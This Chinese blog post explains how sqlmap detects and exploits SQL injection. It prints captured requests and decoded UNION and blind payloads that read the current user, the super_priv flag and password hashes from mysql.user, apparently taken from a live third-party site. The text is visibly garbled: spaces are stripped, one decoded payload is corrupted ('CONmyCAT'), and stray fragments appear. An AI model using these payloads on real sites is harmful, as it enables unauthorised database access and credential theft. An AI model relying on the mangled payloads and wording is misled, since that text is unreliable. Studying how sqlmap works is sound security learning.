当前位置: 首页 > 科技观察

下面说说SQLMAP在进行SQL注入时的整个过程

时间:2023-03-14 21:03:17 科技观察

很多朋友在发现或者判断注入的时候,大多选择直接上sqlmap,结果往往不尽如人意,于是萌生了写sqlmap的想法执行到判断注入,到底发生了什么?本文从我们能看到的角度来分析,看看sqlmap发送了什么payload,这些payload是怎么出来的,没有深入到代码层面。测试环境:sqlmap(1.3.6.58#dev)BurpSuitehttp://attack.com?1.php?id=1测试方法使用sqlmap的代理参数,我们设置代理到8080端口,使用burpsuite抓包.sqlmap.py-u"http://attack.com?1.php?id=1"--proxy="http://127.0.0.1:8080"(测试了很久,本地好像搭建环境无法抓包,所以找了一个有注入点的网站,漏洞已经反馈给漏洞平台)抓包如下:sqlmappreparation我们也观察到sqlmap默认发送的User-Agent是这样的这。User-Agent:sqlmap/1.3.6.58#dev(http://sqlmap.org)所以为了避免被记录在waf或者日志中,我们一般可以在后面加一个--random-agent参数。首先我们的sqlmap会不断的发出很多数据包来检测目标网站是否稳定:GET/xxxx.php?id=1HTTP/1.1Host:www.xxxx.xxxAccept:*/*User-Agent:sqlmap/1.3.6.58#dev(http://sqlmap.org)Connection:closeCache-Control:no-cache[INFO]testingconnectiontothetargetURL[INFO]testingifthetargetURLcontentisstable[INFO]targetURLcontentisstable接下来会检查是否是动态的。与上面的请求包相比,sqlmap修改了id后面的值。GET/xxxx.php?id=2324HTTP/1.1Host:www.xxx.xxxAccept:*/*User-Agent:sqlmap/1.3.6.58#dev(http://sqlmap.org)Connection:closeCache-Control:no-cache[INFO]testingifGETparameter'id'isdynamic我不明白这是什么操作。让我们看看它在源代码(sqlmap\lib\controller\checks.py)中是怎么说的。defcheckDynParam(place,parameter,value):"""这个函数检查url参数是否是动态的。如果是动态的,则页面内容不同,否则动态可能取决于另一个参数。"""根据关键字搜索输出语句,我跟踪了这??个checkDynParam函数,它的一般作用是修改我们现在得到的参数值,看修改前后返回的页面是否相同(有时注入多个参数,所以一些无关紧要的参数会修改后不改变页面),如果有变化(或者这个参数是真实有效的),sqlmap会进行下一步。接下来的数据包和函数如下:GET/xxxx.php?id=1%27.%29%2C%2C.%28.%29%22HTTP/1.1Host:www.xxx.xxxAccept:*/*User-Agent:sqlmap/1.3.6.58#dev(http://sqlmap.org)Connection:closeCache-Control:no-cache[INFO]heuristic(basic)testshowthatGETparameter'id'mightbeinjectable(possibleDBMS:'MySQL')我们将以上URL编解码:/xxxx.php?id=1%27.%29%2C%2C.%28.%29%22/xxxx.php?id=1'.),,.(.)"Strings可以用来判断是MySQL数据库吗?是什么操作呢?我们看一下源码(sqlmap\lib\controller\ckecks.py):infoMsg+="(possibleDBMS:'%s')"%Format.getErrorParsedDBMSes()我找到了一个语句并跟踪了这个getErrorParsedDBMSes()函数。defgetErrorParsedDBMSes():"""ParsestheknowledgebasehtmlFplistandreturnitsvaluesformattedasahumanreadablestring.@return:listofpossibleback-endDBMSbaseduponerrormessagesparsing.@rtype:C{str}"""然后这个函数通过错误信息load(也就是上面的pay)来识别da的类型塔基。正好我找的网站也有mysql语句错误,然后通过正则化(sqlmap/data/xml/errors.xml)来识别。因篇幅原因不再分析源码。sqlmap的注入分析itlooksliketheback-endDBMSis'MySQL'.DoyouwanttoskiptestpayloadsspecificforotherDBMSes?[Y/n]Yforothermainingtests,doyouwanttoincludealltestsfor'MySQL'extendingprovidedlevel(1)andrisk(1)values?[Y/n]Y上面的sqlmap已经获取了数据库的类型和parameters也是有效的,然后下到sqlmap开始判断注入(这里直接使用-v3参数,可以更清楚的显示payload)。这部分也是大家最需要搞清楚的部分。很多朋友觉得有注射。哎,他们去sqlmap,然后基本就红了。但实际上,根据sqlmap中注入的分类,我们可以更清楚地理解sqlmap。做了什么,这些东西是从哪里来的。首先,sqlmap有一个--technique参数。在整个运行过程中,也是按照这几类进行检测:--technique=TECH..SQLinjectiontechniquestouse(default"BEUSTQ")B:Boolean-basedblindSQLinjection(布尔注入)E:Error-basedSQLinjection(报错注入)U:UNIONquerySQLinjection(联合查询注入可能)S:StackedqueriesSQLinjection(多语句查询注入可能)T:Time-basedblindSQLinjection(基于时间的延迟注入)Q:inline_querySQLinjection(内联注入)还没有精通这几种注入的朋友应该弥补基础。那么这些主要的注入语句,我们可以在sqlmap/data/xml/queries.xml中查看和理解,总结的还是比较全面的,这里截取一部分。%d"/><current_userquery="CURRENT_USER()"/>.......对于如何组合每种类型的注入语句,sqlmap/data/xml/payloads下有六个文件,主要定义了测试的名称(也就是我们控制台输出的内容),风险级别,还有一些payloads的位置等,找出GenericUNIONquery([CHAR])-[COLSTART]到[COLSTOP]columns(custom)6111,2,3,4,51[UNION][GENERIC_SQL_COMMENT][CHAR][COLSTART]-[COLSTOP]同目录,主要定义了一些闭合符号。比如我们的注入点需要关闭,从这个文件中添加单引号、双引号、括号等一系列组合。从中提取。311,23'))AND(('[RANDSTR]'LIKE'[RANDSTR]所以梳理一下思路,我们最终会将payload发送到目标服务器,首先需要关闭(boundaries.xml),然后从相应的注入类型的各种测试模板中提取相应的参数(例如:boolean_blind.xml),然后从queries.xml中提取相应的表达式,最后通过tamper输出我们最终的payloadrendering,也就是我们的-v3参数,对于sqlmap的一些参数,我们主要分析下面两条命令:--is-dba--passwords命令主要是判断mysql用户的一些信息,当我们发现注入可以可以使用,下一步就是看当前用户的权限,取决于可以进行哪些操作。1.判断是否是dba权限sqlmap发送了两个请求包:GET/xxxx.php?id=-2478%20UNION%20ALL%20SELECT%20NULL%2CCONCAT%280xxxxxxx%2CIFNULL%28CAST%28CURRENT_USER%28%29%20AS%20CHAR%29%2C0x20%29%2C0x7176786b71%29%2CNULL%2CNULL--%20HZdPHTTP/1.1Host:www.xxxx.xxxAccept:*/*User-Agent:sqlmap/1.3.6.58#dev(http://sqlmap.org)连接:closeCache-Control:no-cacheGET/xxxx.php?id=-6628%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CNULL%2CCONCAT%280x7178787871%2C%28CASE%20WHEN%20%28%28SELECT%20super_priv%20FROM%20mysql.user%20WHERE%20user%3D0xxxxxxxx%20LIMIT%200%2C1%29%3D0x59%29%20THEN%201%20ELSE%200%20END%29%2C0x7170627071%29--%20mOPVHTTP/1.1主机:www.xxxx.xxxAccept:*/*User-Agent:sqlmap/1.3.6.58#dev(http://sqlmap.org)Connection:closeCache-Control:no-cache解码负载:/xxxx.php?id=-2478UNIONALLSELECTNULL,CONCAT(0x71766a6271,IFNULL(CAST(CURRENT_USER()ASCHAR),0x20),0xxxxx),NULL,NULL--HZdP/xxxx.php?id=-6628UNIONALLSELECTNULL,NULL,NULL,CONmyCAT(0x7178787871,(CASEWHEN((SELECT_priv_super.userWHEREuser=0xxxxxLIMIT0,1)=0x59)THEN1ELSE0END),0x7170627071)--mOPV我们直接在mysql控制台下执行命令:第一条命令返回用户名,0x71766a6271被解码为qvjbq,那么这一步我们就可以提取用户了命名第二条命令返回1,我们提取查询命令:SELECTsuper_privFROMmysql.userWHEREuser=0xxxxxLIMIT0,1查询mysql数据库下user表中super_priv(超级权限)的值:返回了Y,所以判断是不是dba的思路是查看mysql.user下super_priv的值。这个命令有一个陷阱。有时候我们注入的服务器是没有mysql数据库的,所以使用这个命令的前提是mysql数据库必须存在。2.查询密码抓包:GET/xxx.php?id=1%20AND%20ORD%28MID%28%28SELECT%20IFNULL%28CAST%28COUNT%28DISTINCT%28authentication_string%29%29%20AS%20CHAR%29%2C0x20%29%20FROM%20mysql.user%20WHERE%20user%3D0x64623833323331%29%2C1%2C1%29%29%3E48HTTP/1.1Host:www.xxxx.xxxAccept:*/*User-Agent:sqlmap/1.3.6.58#dev(http://sqlmap.org)连接:closeCache-Control:无缓存解码:/xxxx.php?id=1ANDORD(MID((SELECTIFNULL(CAST(COUNT(DISTINCT(authentication_string))ASCHAR),0x20)FROMmysql.userWHEREuser=0xxxxx),1,1))>48这里有一个很有意思的地方。我的sqlmap是1.3.6版本。有趣的是,这个值只有在mysql5.7以上版本才会变成authentication_string。我们也可以从queries.xml中找到这条语句:,1"count="SELECTCOUNT(DISTINCT(authentication_string))FROMmysql.userWHEREuser='%s'"/>发现authentication_string是默认的,所以我们直接修改queries.xml中的语句,将query的列表改为password,稍后测试。测试发现在我们没有修改的情况下,sqlmap也会跑出password,而sqlmap检查payload后,先检查authentication_string,再检查password:看源码,然后找到(sqlmap/plugins/generic/users.py):values=inject.getValue(query.replace("authentication_string","password"),blind=False,time=False)这里用replace替换两个列表,里面有ifel语句,如果第一时间没有找到就会替换掉,这样我们的问题就解决了。sqlmap还是很周到的哈哈。总结一下,sqlmap里面的内容太多了。摸索这些内容需要花很多时间,当然收获也是成功的,成正比,弄清楚sqlmap的流程原理会g真正提高我们的sql注入技术。